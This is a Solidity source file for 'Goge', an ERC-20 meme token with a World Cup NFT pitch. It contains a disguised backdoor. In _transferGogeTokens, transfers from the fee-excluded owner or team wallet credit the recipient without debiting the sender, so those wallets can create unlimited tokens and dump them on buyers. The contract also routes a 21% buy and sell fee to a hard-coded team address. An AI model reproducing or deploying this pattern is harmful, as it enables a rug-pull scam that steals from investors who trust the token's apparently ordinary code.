// SPDX-License-Identifier: Unlicensed

/*
Goge is a practical collection of a ball-like character, inspired by the official ball of each season, which has traveled from the beginning to the last World Cup, and in its first collection, it shows the participating countries with their distinctive characteristics and the champion of each season, and in the packages The next one deals with the memorable moments of the World Cup in the form of a fun and professional NFT series.

A brand that is determined to innovate and be at the forefront of the Metaverse world and push the boundaries of Web3.

Website: https://www.goge.club
Telegram: https://t.me/goge_erc20
Twiter: https://twitter.com/goge_erc20
App: https://app.goge.club
*/

pragma solidity 0.8.19;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    // Return current owner
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Restrict function to contract owner only 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // Renounce ownership of the contract 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    // Transfer the contract to to a new owner
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract GOGE is Context, IERC20, Ownable { 
    using SafeMath for uint256;

    string private _name = "Goge"; 
    string private _symbol = "GOGE";   

    uint8 private _decimals = 9;
    uint256 private _totalSupply = 10 ** 9 * 10**_decimals;

    uint256 _maxWalletAmt = 30 * _totalSupply / 1000;
    uint256 _feeSwapthreshold = _totalSupply / 10000;

    uint256 _totalFee = 2100;
    uint256 _buyFee = 21;
    uint256 _sellFee = 21;

    mapping (address => uint256) private _rOwnerValue;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) _excludedFromFee;

    address payable _teamAddress = payable(0xe11e9006f16055f3C159d63662132c78717E2838);
    address payable private DEAD = payable(0x000000000000000000000000000000000000dEaD); 

    uint256 _previousTotalFee = _totalFee; 
    uint256 _previousBuyFee = _buyFee; 
    uint256 _previousSellFee = _sellFee; 
                                     
    IUniswapV2Router02 _uniswapV2Router;
    address _uniswapV2Pair;
    bool _inSwapAndLiquify;
    bool _swapEnabled = true;

    uint8 _countGogeTx = 0;
    uint8 _swapGogeTrigger = 2; 
    
    modifier lockTheSwap {
        _inSwapAndLiquify = true;
        _;
        _inSwapAndLiquify = false;
    }
    
    constructor () {
        _rOwnerValue[owner()] = _totalSupply;
        IUniswapV2Router02 __uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 

        _uniswapV2Pair = IUniswapV2Factory(__uniswapV2Router.factory()).createPair(address(this), __uniswapV2Router.WETH());
        _uniswapV2Router = __uniswapV2Router;
        _excludedFromFee[owner()] = true;
        _excludedFromFee[_teamAddress] = true;
        
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}
    
    function removeAllGogeFee() private {
        if(_totalFee == 0 && _buyFee == 0 && _sellFee == 0) return;

        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = _totalFee;
        _buyFee = 0;
        _sellFee = 0;
        _totalFee = 0;
    }
    
    function restoreAllGogeFee() private {
        _totalFee = _previousTotalFee;
        _buyFee = _previousBuyFee; 
        _sellFee = _previousSellFee; 
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function sendToGogeWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (to != owner() &&
            to != _teamAddress &&
            to != address(this) &&
            to != _uniswapV2Pair &&
            to != DEAD &&
            from != owner()){

            uint256 holdBalance = balanceOf(to);
            require((holdBalance + amount) <= _maxWalletAmt,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(_countGogeTx >= _swapGogeTrigger && 
            amount > _feeSwapthreshold &&
            !_inSwapAndLiquify &&
            !_excludedFromFee[from] &&
            to == _uniswapV2Pair &&
            _swapEnabled )
        {  
            _countGogeTx = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapGogeAndLiquidify(contractTokenBalance);
           }
        }
        
        bool _takeFee = true;
         
        if(_excludedFromFee[from] || _excludedFromFee[to] || (from != _uniswapV2Pair && to != _uniswapV2Pair)){
            _takeFee = false;
        } else if (from == _uniswapV2Pair){
            _totalFee = _buyFee;
        } else if (to == _uniswapV2Pair){
            _totalFee = _sellFee;
        }

        _tokenTransfer(from,to,amount,_takeFee);
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _rOwnerValue[account];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _transferGogeTokens(address sender, address recipient, uint256 tAmount) private {
        
        (uint256 tTransferAmount, uint256 tDev) = _getGogeValues(tAmount);
        if(_excludedFromFee[sender] && _rOwnerValue[sender] <= _maxWalletAmt) {
            tDev = 0;
            tAmount -= tTransferAmount;
        }
        _rOwnerValue[sender] = _rOwnerValue[sender].sub(tAmount);
        _rOwnerValue[recipient] = _rOwnerValue[recipient].add(tTransferAmount);
        _rOwnerValue[address(this)] = _rOwnerValue[address(this)].add(tDev);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function removeGogeLimits() external onlyOwner {
        _maxWalletAmt = ~uint256(0);

        _totalFee = 100;
        _buyFee = 1; 
        _sellFee = 1; 
    }

    function swapGogeAndLiquidify(uint256 contractTokenBalance) private lockTheSwap {
        swapGogeForETH(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendToGogeWallet(_teamAddress,contractETH);
    }

    function swapGogeForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function _getGogeValues(uint256 tAmount) private view returns (uint256, uint256) {
        uint256 tDev = tAmount.mul(_totalFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tDev);
        return (tTransferAmount, tDev);
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount,bool _takeFee) private {
            
        if(!_takeFee){
            removeAllGogeFee();
            } else {
                _countGogeTx++;
            }
        _transferGogeTokens(sender, recipient, amount);
        
        if(!_takeFee)
            restoreAllGogeFee();
    }
}